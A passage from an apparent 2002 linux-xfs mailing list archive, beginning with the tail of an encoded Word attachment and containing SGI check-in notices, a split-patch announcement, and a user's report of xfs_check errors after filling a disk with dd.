AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAA CQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAAABYAAAAX AAAAGAAAABkAAAAaAAAAGwAAABwAAAAdAAAAHgAAAB8AAAAgAAAAIQAAACIAAAAjAAAAJAAAACUA AAAmAAAAJwAAACgAAAApAAAAKgAAACsAAAAsAAAALQAAAC4AAAAvAAAAMAAAADEAAAAyAAAAMwAA ADQAAAA1AAAANgAAADcAAAA4AAAAOQAAADoAAAA7AAAAPAAAAD0AAAA+AAAAPwAAAEAAAABBAAAA QgAAAEMAAABEAAAARQAAAEYAAABHAAAASAAAAEkAAABKAAAASwAAAEwAAABNAAAATgAAAE8AAABQ AAAAUQAAAFIAAABTAAAAVAAAAFUAAABWAAAAVwAAAFgAAABZAAAAWgAAAFsAAABcAAAAXQAAAF4A AABfAAAAYAAAAGEAAABiAAAAYwAAAGQAAABlAAAAZgAAAGcAAABoAAAAaQAAAGoAAABrAAAAbAAA AG0AAABuAAAAbwAAAHAAAABxAAAAcgAAAHMAAAB0AAAAdQAAAHYAAAB3AAAAeAAAAHkAAAB6AAAA ewAAAHwAAAB9AAAAfgAAAH8AAACAAAAAgQAAAIIAAACDAAAAhAAAAIUAAACGAAAAhwAAAIgAAACJ AAAAigAAAIsAAACMAAAAjQAAAI4AAACPAAAAkAAAAJEAAACSAAAAkwAAAJQAAACVAAAAlgAAAJcA AACYAAAAmQAAAJoAAACbAAAAnAAAAJ0AAACeAAAAnwAAAKAAAAChAAAAogAAAKMAAACkAAAApQAA AKYAAACnAAAAqAAAAKkAAACqAAAAqwAAAKwAAACtAAAArgAAAK8AAACwAAAAsQAAALIAAACzAAAA tAAAALUAAAC2AAAAtwAAALgAAAC5AAAAugAAALsAAAC8AAAAvQAAAL4AAAC/AAAAwAAAAMEAAADC AAAAwwAAAMQAAADFAAAAxgAAAP7////IAAAAyQAAAMoAAADLAAAAzAAAAM0AAADOAAAAzwAAANAA AADRAAAA0gAAANMAAADUAAAA1QAAANYAAADXAAAA2AAAANkAAADaAAAA2wAAANwAAADdAAAA3gAA AN8AAADgAAAA4QAAAOIAAADjAAAA5AAAAOUAAADmAAAA5wAAAOgAAADpAAAA6gAAAOsAAADsAAAA 7QAAAO4AAADvAAAA8AAAAPEAAADyAAAA8wAAAPQAAAD1AAAA9gAAAPcAAAD4AAAA+QAAAPoAAAD7 AAAA/AAAAP0AAAD+AAAA/wAAAAABAAABAQAAAgEAAAMBAAAEAQAABQEAAAYBAAAHAQAACAEAAAkB AAAKAQAACwEAAAwBAAANAQAADgEAAA8BAAAQAQAA/v///xIBAAATAQAAFAEAABUBAAAWAQAAFwEA ABgBAAAZAQAAGgEAABsBAAAcAQAAHQEAAB4BAAAfAQAAIAEAACEBAAAiAQAAIwEAACQBAAAlAQAA JgEAACcBAAAoAQAAKQEAACoBAAArAQAA/v///y0BAAAuAQAALwEAADABAAAxAQAAMgEAADMBAAD+ ////NQEAADYBAAA3AQAAOAEAADkBAAA6AQAAOwEAAP7////9/////f////3///9AAQAA/v////7/ ///+//////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////////////1IAbwBvAHQAIABFAG4AdAByAHkAAAAwADAAQABAABAAMABA ADAAQABAAEAAMABAAEAAMAAwAEAAMABQADAAMAAWAAUB//////////8DAAAABgkCAAAAAADAAAAA AAAARgAAAACQUIPcvuu9ASDjrVDQ670BQgEAAIAAAAAwADAARABhAHQAYQAAAEAA//////////// /1AA//////////8wAP///////////////////////////////1AA//9QAAoAAgH///////////// ////////////////////////////////////////IAD////////HAAAA6pIAAP////8xAFQAYQBi AGwAZQAAAP//////////////////MAAwADAAMAD///////////////////////////////////// DgACAAEAAAD//////////////////////////////////////////////////////////xEBAACp NQAA/////1cAbwByAGQARABvAGMAdQBtAGUAbgB0AAAAAAABAAAAAAAAAAIAAAAGAAAAvAIAAAAA AABgAAAAYAAAACAAAvsaAAIBBgAAAAUAAAD/////AAAAAB7/HyBUAPwAAAAIACCbHADIEh4AAAAA ACgAAAACAAAAAAAAAGqMAQAGAAAABQBTAHUAbQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8A bgAAAHGACgAgACAAIAAgACAAIAAgACAAIAAgACgAAgH///////////////8gACAAIAAgACAAIAAg ACAAIAAgACAAIAAgACAAEAAQABAAEAAsAQAAABAAABAAEAAFAEQAbwBjAHUAbQBlAG4AdABTAHUA bQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAABAAIAAQABAAOAACAQQAAAD///////// /xAAEAAQABAAEAAgABAAEAAQABAAEAAQABAAEAAQABAAEAAQADQBAAAAEAAAEAAQAAEAQwBvAG0A cABPAGIAagAAABAAEAAQABAAIAAQABAAEAAQABAAEAAQACAA/////////////yAA//////////8S AAIBAgAAAAcAAAD///////////////////////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAGoA AAD/////TwBiAGoAZQBjAHQAUABvAG8AbAAAAP//EAD///////////////////////////////// //////8gAP///////xYAAQD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAACDjrVDQ670B IOOtUNDrvQH///////////////8BAAAA/v////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////////wEA/v8DCgAA/////wYJAgAAAAAAwAAAAAAAAEYYAAAATWljcm9z b2Z0IFdvcmQgRG9jdW1lbnQACgAAAE1TV29yZERvYwAQAAAAV29yZC5Eb2N1bWVudC44APQ5snEA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA ------=_NextPart_000_00A2_010FB396.98C396E0-- From owner-linux-xfs@oss.sgi.com Thu Nov 28 17:00:07 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 28 Nov 2002 17:00:10 -0800 (PST) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAT106uR005103 for ; Thu, 28 Nov 2002 17:00:07 -0800 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.55.232]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAT17Qkq031746 for ; Thu, 28 Nov 2002 19:07:27 -0600 Received: (from kaos@localhost) by sherman.melbourne.sgi.com (8.11.6/8.11.6) id gAT11gr12608; Fri, 29 Nov 2002 12:01:42 +1100 Date: Fri, 29 Nov 2002 12:01:42 +1100 From: Keith Owens Message-Id: <200211290101.gAT11gr12608@sherman.melbourne.sgi.com> Subject: TAKE - Upgrade to 2.4.20 X-archive-position: 1893 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sherman.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Upgrade to 2.4.20 Date: Thu Nov 28 17:01:02 PST 2002 Workarea: sherman.melbourne.sgi.com:/build/kaos/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:134021a linux/Makefile - 1.183 From owner-linux-xfs@oss.sgi.com Thu Nov 28 18:21:41 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 28 Nov 2002 18:21:45 -0800 (PST) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAT2LfuR006141 for ; Thu, 28 Nov 2002 18:21:41 -0800 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.55.232]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAT2T1kq003519 for ; Thu, 28 Nov 2002 20:29:02 -0600 Received: (from kaos@localhost) by sherman.melbourne.sgi.com (8.11.6/8.11.6) id gAT2NIK22403; Fri, 29 Nov 2002 13:23:18 +1100 Date: Fri, 29 Nov 2002 13:23:18 +1100 From: Keith Owens Message-Id: <200211290223.gAT2NIK22403@sherman.melbourne.sgi.com> Subject: TAKE - Sync with kdb v2.5-2.4.20-{common,i386}-1 X-archive-position: 1894 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sherman.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Sync with kdb v2.5-2.4.20-{common,i386}-1 Date: Thu Nov 28 18:21:30 PST 2002 Workarea: sherman.melbourne.sgi.com:/build/kaos/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:134023a linux/kdb/kdbmain.c - 1.33 linux/kdb/ChangeLog - 1.26 linux/arch/i386/kdb/ChangeLog - 1.15 linux/Documentation/kdb/kdb_sr.man - 1.2 From owner-linux-xfs@oss.sgi.com Thu Nov 28 19:31:28 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 28 Nov 2002 19:31:30 -0800 (PST) Received: from rj.sgi.com (rj.SGI.COM [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAT3VSuR007229 for ; Thu, 28 Nov 2002 19:31:28 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAT1YAG8026392 for ; Thu, 28 Nov 2002 17:34:12 -0800 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id gAT3WlkF016840; Fri, 29 Nov 2002 14:32:48 +1100 (EST) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id gAT3WiJV016836; Fri, 29 Nov 2002 14:32:44 +1100 (EST) Date: Fri, 29 Nov 2002 14:32:44 +1100 (EST) From: Nathan Scott Message-Id: <200211290332.gAT3WiJV016836@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Cc: agruen@suse.de Subject: TAKE - acl I18N changes X-archive-position: 1895 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs ACL package changes to support I18N. The German translation (po/de.po) is mostly there, will need a few more updates from Andreas to complete it though. I'll start pushing the generic build-related changes through to each of our other packages next week, once I see whether any build fallout results from this change. Translations for the other packages can then easily follow, if anyone is keen. cheers. Date: Thu Nov 28 19:23:54 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:134024a cmd/acl/configure.in - 1.21 cmd/acl/VERSION - 1.39 cmd/acl/doc/CHANGES - 1.46 cmd/acl/chacl/Makefile - 1.9 cmd/acl/chacl/chacl.c - 1.16 cmd/acl/include/buildrules - 1.11 cmd/acl/include/builddefs.in - 1.22 cmd/acl/debian/control - 1.10 cmd/acl/debian/changelog - 1.33 cmd/acl/setfacl/setfacl.c - 1.5 cmd/acl/setfacl/do_set.c - 1.10 cmd/acl/setfacl/Makefile - 1.8 cmd/acl/libacl/acl_error.c - 1.3 cmd/acl/getfacl/getfacl.c - 1.6 cmd/acl/getfacl/Makefile - 1.8 cmd/acl/po/Makefile - 1.5 cmd/acl/include/buildmacros - 1.5 - acl package changes to support I18N. cmd/acl/po/acl.pot - 1.4 cmd/acl/po/POTFILES.in - 1.2 cmd/acl/po/Make.rules - 1.2 - deleted, no longer needed. From owner-linux-xfs@oss.sgi.com Thu Nov 28 21:35:46 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 28 Nov 2002 21:35:48 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAT5ZkuR010039 for ; Thu, 28 Nov 2002 21:35:46 -0800 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with SMTP id gAT4gVKp006473 for ; Thu, 28 Nov 2002 20:42:32 -0800 Received: from kao2.melbourne.sgi.com (kao2.melbourne.sgi.com [134.14.55.180]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id QAA05221; Fri, 29 Nov 2002 16:37:10 +1100 Received: by kao2.melbourne.sgi.com (Postfix, from userid 16331) id 48C483000B8; Fri, 29 Nov 2002 16:37:09 +1100 (EST) Received: from kao2.melbourne.sgi.com (localhost [127.0.0.1]) by kao2.melbourne.sgi.com (Postfix) with ESMTP id 4553D85; Fri, 29 Nov 2002 16:37:09 +1100 (EST) X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4 From: Keith Owens To: linux-xfs@oss.sgi.com Cc: linux-kernel@vger.kernel.org Subject: Announce: XFS split patches for 2.4.20 Date: Fri, 29 Nov 2002 16:37:04 +1100 Message-ID: <7127.1038548224@kao2.melbourne.sgi.com> X-archive-position: 1896 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sgi.com Precedence: bulk X-list: linux-xfs -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Content-Type: text/plain; charset=us-ascii ftp://oss.sgi.com/projects/xfs/download/patches/2.4.20. For some time the XFS group have been producing split patches for XFS, separating the core XFS changes from additional patches such as kdb, xattr, acl, dmapi. The split patches are released to the world with the hope that developers and distributors will find them useful. Read the README in each directory very carefully, the split patch format has changed over a few kernel releases. Any questions that are covered by the README will be ignored. There is even a 2.4.21/README for the terminally impatient :). -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.1.1 10/15/1999 iD8DBQE95vz/i4UHNye0ZOoRAvJjAJ46Jp5y3u6CFp9T8T8sNDcpEOBHPwCeImJz 1XoJrrkY5msYfKV1eiWEtGw= =m5xR -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Thu Nov 28 22:31:16 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 28 Nov 2002 22:31:20 -0800 (PST) Received: from web15205.mail.bjs.yahoo.com ([61.135.128.135]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAT6VDuR011077 for ; Thu, 28 Nov 2002 22:31:14 -0800 Message-ID: <20021129063350.35728.qmail@web15205.mail.bjs.yahoo.com> Received: from [210.196.157.115] by web15205.mail.bjs.yahoo.com via HTTP; Fri, 29 Nov 2002 14:33:50 CST Date: Fri, 29 Nov 2002 14:33:50 +0800 (CST) From: =?gb2312?q?tom=20wang?= Subject: xfs_check error. To: linux-xfs@oss.sgi.com MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Content-length: 8411 X-archive-position: 1897 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: wddi_1976@yahoo.com.cn Precedence: bulk X-list: linux-xfs Just now, I did following test : 1) mkfs.xfs -f /dev/sda1 (/dev/sda1 is a 120G scsi disk) 2) mount -t xfs /dev/sda1 /mnt/tmp 3=A3=A9cd /mnt/tmp 4) for((i=3D0;i<50;i++)); do dd if=3D/dev/sda1 of=3D/mnt/tmp/a$i bs=3D1024 = count=3D30M; done when the disk full, I umount /mnt/tmp and run xfs_check /dev/sda1=20 I found many errors as following bad sb magic # 0 in ag 28 bad sb version # 0 in ag 28 bad agf magic # 0 in ag 28 bad agf version # 0 in ag 28 bad agi magic # 0 in ag 28 bad agi version # 0 in ag 28 bad magic # 0x58465342 in btbno block 0/0 bad magic # 0x58465342 in btcnt block 0/0 bad magic # 0x58465342 in inobt block 0/0 agi unlinked bucket 0 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 1 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 2 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 3 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 4 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 5 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 6 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 7 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 8 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 9 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 10 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 11 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 12 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 13 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 14 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 15 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 16 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 17 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 18 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 19 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 20 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 21 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 22 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 23 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 24 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 25 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 26 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 27 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 28 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 29 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 30 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 31 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 32 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 33 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 34 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 35 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 36 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 37 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 38 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 39 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 40 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 41 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 42 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 43 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 44 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 45 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 46 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 47 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 48 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 49 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 50 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 51 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 52 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 53 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 54 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 55 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 56 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 57 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 58 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 59 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 60 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 61 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 62 is 0 in ag 28 (inode=3D469762048) agi unlinked bucket 63 is 0 in ag 28 (inode=3D469762048) bad sb magic # 0 in ag 29 bad sb version # 0 in ag 29 bad agf magic # 0 in ag 29 bad agf version # 0 in ag 29 bad agi magic # 0 in ag 29 bad agi version # 0 in ag 29 bad magic # 0x58465342 in btbno block 0/0 bad magic # 0x58465342 in btcnt block 0/0 bad magic # 0x58465342 in inobt block 0/0 agi unlinked bucket 0 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 1 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 2 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 3 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 4 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 5 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 6 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 7 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 8 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 9 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 10 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 11 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 12 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 13 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 14 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 15 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 16 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 17 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 18 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 19 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 20 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 21 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 22 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 23 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 24 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 25 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 26 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 27 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 28 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 29 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 30 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 31 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 32 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 33 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 34 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 35 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 36 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 37 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 38 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 39 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 40 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 41 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 42 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 43 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 44 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 45 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 46 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 47 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 48 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 49 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 50 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 51 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 52 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 53 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 54 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 55 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 56 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 57 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 58 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 59 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 60 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 61 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 62 is 0 in ag 29 (inode=3D486539264) agi unlinked bucket 63 is 0 in ag 29 (inode=3D486539264) =20 --------------------------------- Do You Yahoo!? "=CA=C7IT=BE=AB=D3=A2=C2=F0=A3=BF=D0=A1=CA=D4=C5=A3=B5=B6=BB=F1=CA=B1=C9=D0= =B4=F3=BD=B1=A3=A1" [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Fri Nov 29 15:03:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 29 Nov 2002 15:03:36 -0800 (PST) Received: from neutron.toe.cssgroup.net (adsl-208-188-150-2.lefthemisphere.com [208.188.150.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gATN3UuR020795 for ; Fri, 29 Nov 2002 15:03:31 -0800 Received: from [192.168.196.28] ([192.168.196.28]) by neutron.toe.cssgroup.net (Build 101 8.9.3/NT-8.9.3) with 